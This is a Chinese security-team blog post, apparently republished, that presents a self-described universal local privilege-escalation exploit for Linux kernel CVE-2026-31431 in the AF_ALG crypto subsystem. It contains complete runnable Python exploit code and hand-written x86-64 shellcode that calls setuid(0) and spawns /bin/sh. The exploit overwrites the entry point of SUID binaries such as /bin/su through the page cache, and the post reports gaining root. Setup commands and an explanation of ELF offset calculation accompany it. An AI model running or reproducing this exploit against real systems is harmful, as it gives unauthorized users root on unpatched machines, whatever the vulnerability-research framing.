文章总结: 本文详细分析了Linux内核CVE-2026-31431漏洞,该漏洞位于AF_ALG加密子系统,允许非特权用户通过splice()+authencesn机制在内核页面缓存中任意偏移写入4字节数据,实现内核级提权。作者开发了动态计算ELF入口点文件偏移的通用EXP,解决了原版POC依赖硬编码偏移的问题。通过Docker容器环境复现,成功对verify和/bin/su两个不同ELF文件实现提权,验证了EXP的通用性。文章包含完整的漏洞原理分析、ELF结构解析、偏移计算方法和可操作的EXP代码。 综合评分: 87 文章分类: 漏洞分析,二进制安全,红队,安全工具,实战经验
CVE-2026-31431 Copy Fail 通杀版 EXP:动态偏移计算实现任意 ELF 提权
原创
shadowabi shadowabi
WgpSec狼组安全团队
2026年5月8日 14:24 北京
在小说阅读器读本章
去阅读
点击蓝字
关注我们
声明
本文作者:shadowabi 本文字数:3029字
阅读时长:约8分钟
附件/链接:点击查看原文下载
本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
❝
CVE-2026-31431 是 Linux 内核 AF_ALG 加密子系统中的一个漏洞。通过滥用
splice()+authencesn的就地解密机制,非特权用户可以在内核的页面缓存(page cache)中以任意偏移量写入 4 字节——而所有由文件备份的内存都使用同一套缓存。这是一个内核级提权漏洞。
原版 POC(theori-io/copy-fail-CVE-2026-31431 https://github.com/theori-io/copy-fail-CVE-2026-31431)硬编码了一个固定的偏移值,只能在特定编译环境下使用,对漏洞复现不够友好。
为此,我重写了一版支持动态计算偏移量的 EXP,可适配不同编译产出的 ELF 文件:shadowabi/CVE-2026-31431-CopyFail-Universal-LPE (https://github.com/shadowabi/CVE-2026-31431-CopyFail-Universal-LPE)
漏洞原理的官方说明:https://copy.fail
环境信息
宿主机为 Windows 11,通过 WSL2 运行 Ubuntu 22.04 LTS 虚拟机作为漏洞复现环境。
❝
为什么用 Docker 容器复现? 容器共享宿主机内核,内核漏洞的利用效果在容器内与
宿主机上一致。使用容器的目的是提供一个干净、可复现的隔离环境,便于销毁和重建。
Docker 版本 29.2.1,运行时 runc v1.3.4。
复现过程
1. 启动容器并准备测试文件
打开 WSL,创建一个 Ubuntu 22.04 容器,编译一个带 SUID 位的测试二进制 verify:
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
这段脚本做了以下几件事:
- 创建容器并切换为阿里云镜像源
- 安装
python3和gcc(gcc 仅用于编译测试文件,实际 EXP 不依赖它) - 编译
verify.c为带 SUID 权限的二进制(chmod 4755),用于后续验证提权效果 - 创建低权限用户
testuser并切换到该用户
切换后,id 和 verify 均显示当前是低权限用户:
2. 写入 EXP
cat > /tmp/exploit.py << 'EXPY'
import os,socket,struct,sys
def d(x):return bytes.fromhex(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
3. 验证动态偏移
先对自编译的 verify 运行 EXP:
python3 /tmp/exploit.py /usr/local/bin/verify
提权成功,当前已是 root 权限。
exit 回到 testuser,再对系统自带的 /bin/su 运行 EXP:
python3 /tmp/exploit.py /bin/su
同样提权成功。
verify 和 /bin/su 是两个完全不同的二进制文件,由不同版本的 gcc 在不同时间编译,entry point 的偏移量截然不同。两者都能成功提权,说明 EXP 的动态偏移计算是有效的——不再依赖硬编码偏移,可适配任意 ELF 文件。
技术细节
ELF Entry Point 动态偏移计算
❝
Exploit 需要知道 shellcode 写到文件的哪个位置。以下内容解释如何从 ELF Header 动态计算 entry point 的文件偏移。
0x01 问题:为什么要计算偏移
Exploit 的写入原语每次往文件写 4 字节,参数是 (文件名, 文件偏移, 数据)。
目标:覆写 ELF 的 entry point——程序被 exec 后 CPU 跳转到的第一条指令的地址。
但 ELF Header 里存的是虚拟地址,不是文件偏移。写入原语需要的是文件偏移。所以要做一次映射:
entry 虚拟地址 (vaddr) → entry 文件偏移 (file offset)
0x02 ELF 结构概览
┌─────────────────────────────────────┐
│ ELF Header │
│ offset 0x18 (24): e_entry │ ← 入口虚拟地址
│ offset 0x20 (32): e_phoff │ ← Program Header 表的文件偏移
│ offset 0x36 (54): e_phentsize │ ← 每个 Program Header 的大小
│ offset 0x38 (56): e_phnum │ ← Program Header 的数量
├─────────────────────────────────────┤
│ Program Header 0 │
│ offset 0x00: p_type │
│ offset 0x08: p_vaddr │
│ offset 0x10: p_offset │
│ offset 0x20: p_filesz │
├─────────────────────────────────────┤
│ Program Header 1 │
│ ... │
├─────────────────────────────────────┤
│ ... │
├─────────────────────────────────────┤
│ .text section │
│ entry: ← 覆写目标 │
└─────────────────────────────────────┘
关键区分:
- ELF Header 固定在文件开头,描述整个文件的元信息
- Program Header 是一个数组,描述文件中各个段(segment)的加载信息
- 每个 PT_LOAD 段告诉内核:文件的
p_offset处、长度p_filesz的内容,加载到内存的p_vaddr处
0x03 计算过程
对应 exploit 代码:
# 第一步:从 ELF Header 读取元信息
with open(sys.argv[1],'rb') as f:
h = f.read(64)
e = struct.unpack_from('<Q', h, 24)[0] # e_entry: 入口虚拟地址
p = struct.unpack_from('<Q', h, 32)[0] # e_phoff: Program Header 表偏移
n = struct.unpack_from('<H', h, 56)[0] # e_phnum: Program Header 数量
sz = struct.unpack_from('<H', h, 54)[0] # e_phentsize: 每个 PH 的大小
# 第二步:遍历 Program Header,找到 entry 所在的 PT_LOAD 段
for i in range(n):
f.seek(p + i * sz)
ph = f.read(sz)
p_type = struct.unpack_from('<I', ph, 0)[0]
if p_type != 1: # 只看 PT_LOAD (type == 1)
continue
p_vaddr = struct.unpack_from('<Q', ph, 16)[0] # 段的虚拟地址起始
p_offset = struct.unpack_from('<Q', ph, 24)[0] # 段的文件偏移起始
p_filesz = struct.unpack_from('<Q', ph, 32)[0] # 段在文件中的大小
# 判断 entry 是否落在这个段里
if p_vaddr <= e < p_vaddr + p_filesz:
file_offset = p_offset + (e - p_vaddr)
break
核心公式就一行:
file_offset = p_offset + (entry_vaddr - p_vaddr)
为什么是这样
ELF 加载器把文件中 [p_offset, p_offset + p_filesz) 的内容映射到内存的 [p_vaddr, p_vaddr + p_filesz)。这是一个线性映射,文件偏移和虚拟地址之间是固定的差值:
虚拟地址 = 文件偏移 + (p_vaddr - p_offset)
反过来:
文件偏移 = 虚拟地址 - (p_vaddr - p_offset)
= p_offset + (虚拟地址 - p_vaddr)
所以只要找到 entry 虚拟地址落在哪个 PT_LOAD 段里,就能算出它对应的文件偏移。
0x04 为什么不硬编码偏移
偏移量在不同编译环境下会变:
| 变化因素 | 影响 |
| — | — |
| gcc 版本不同 | 代码布局策略不同 |
| -O0 vs -O2 | 函数排列、内联策略不同 |
| 链接的库/顺序 | 段的位置会变 |
| 源码改动 | 即使改一行,偏移可能全变 |
所以每次运行都动态解析,而不是硬编码一个 magic number。这样只要目标文件是合法 ELF,exploit 都能正确定位 entry point。
0x05 Shellcode:写入什么内容
计算出偏移后,接下来要决定写入什么。Exploit 使用的 shellcode 分两步:先提权,再拿 shell。
第一段:setuid(0)
sc = b'\x48\x31\xff' # xor rdi, rdi → rdi = 0
sc += b'\x31\xc0' # xor eax, eax → eax = 0
sc += b'\xb0\x69' # mov al, 0x69 → eax = 0x69 (syscall号: setuid)
sc += b'\x0f\x05' # syscall → setuid(0)
等价于:
setuid(0); // 将 uid 设为 0(root)
如果目标程序是 SUID root 的(比如 sudo),执行时 euid 已经是 0,但 uid 可能不是。setuid(0) 确保 uid 也变为 0,否则后续 execve 出的 shell 仍然不是真正的 root。
第二段:execve(“/bin/sh”)
sc += b'\x48\x31\xd2' # xor rdx, rdx → rdx = 0 (envp = NULL)
sc += b'\x52' # push rdx → 栈上放 '\0' 作为字符串结尾
sc += b'\x48\xbb\x2f\x62\x69\x6e' # movabs rbx, 0x0068732f6e69622f
sc += b'\x2f\x73\x68\x00' # → rbx = "/bin/sh\0"
sc += b'\x53' # push rbx → "/bin/sh\0" 压栈
sc += b'\x48\x89\xe7' # mov rdi, rsp → rdi 指向栈上的 "/bin/sh"
sc += b'\x48\x31\xf6' # xor rsi, rsi → rsi = 0 (argv = NULL)
sc += b'\x31\xc0' # xor eax, eax → eax = 0
sc += b'\xb0\x3b' # mov al, 0x3b → eax = 0x3b (syscall号: execve)
sc += b'\x0f\x05' # syscall → execve("/bin/sh", NULL, NULL)
等价于:
execve("/bin/sh", NULL, NULL); // 启动一个 shell
这段 shellcode 的核心技巧是用栈来构造字符串 "/bin/sh\0"——因为 shellcode 不能包含绝对地址(不知道自己被加载到哪里),所以用 push 把字符串压栈,再用 rsp 取地址。
完整流程
setuid(0) → uid 变为 0
execve("/bin/sh") → 以 root 身份启动 shell
总共 27 字节,补齐到 4 字节对齐后 28 字节。
0x06 写入对齐
sc += b'\x00' * (4 - len(sc) % 4) # 补齐到 4 的倍数
for i in range(len(sc) // 4):
w(sys.argv[1], off + i * 4, sc[i*4 : i*4+4])
因为写入原语每次只能写 4 字节,所以 shellcode 必须 4 字节对齐,循环写入 7 次(28 / 4 = 7)。
每次写入的位置是 off + i * 4,即 entry point 偏移开始,逐 4 字节往后覆盖。
0x07 验证
写入后重新读取验证:
with open(sys.argv[1],'rb') as f:
f.seek(off)
vd = f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
验证文件中的内容确实是写入的 shellcode,然后 exec 执行。此时 CPU 跳转到 entry point,执行的就是 shellcode 而非原始代码,完成提权。
作者
shadowabi
自强不息
扫描关注公众号回复加群
和师傅们一起讨论研究~
长
按
关
注
WgpSec狼组安全团队
微信号:wgpsec
Twitter:@wgpsec
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:WgpSec狼组安全团队 shadowabi shadowabi《CVE-2026-31431 Copy Fail 通杀版 EXP:动态偏移计算实现任意 ELF 提权》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论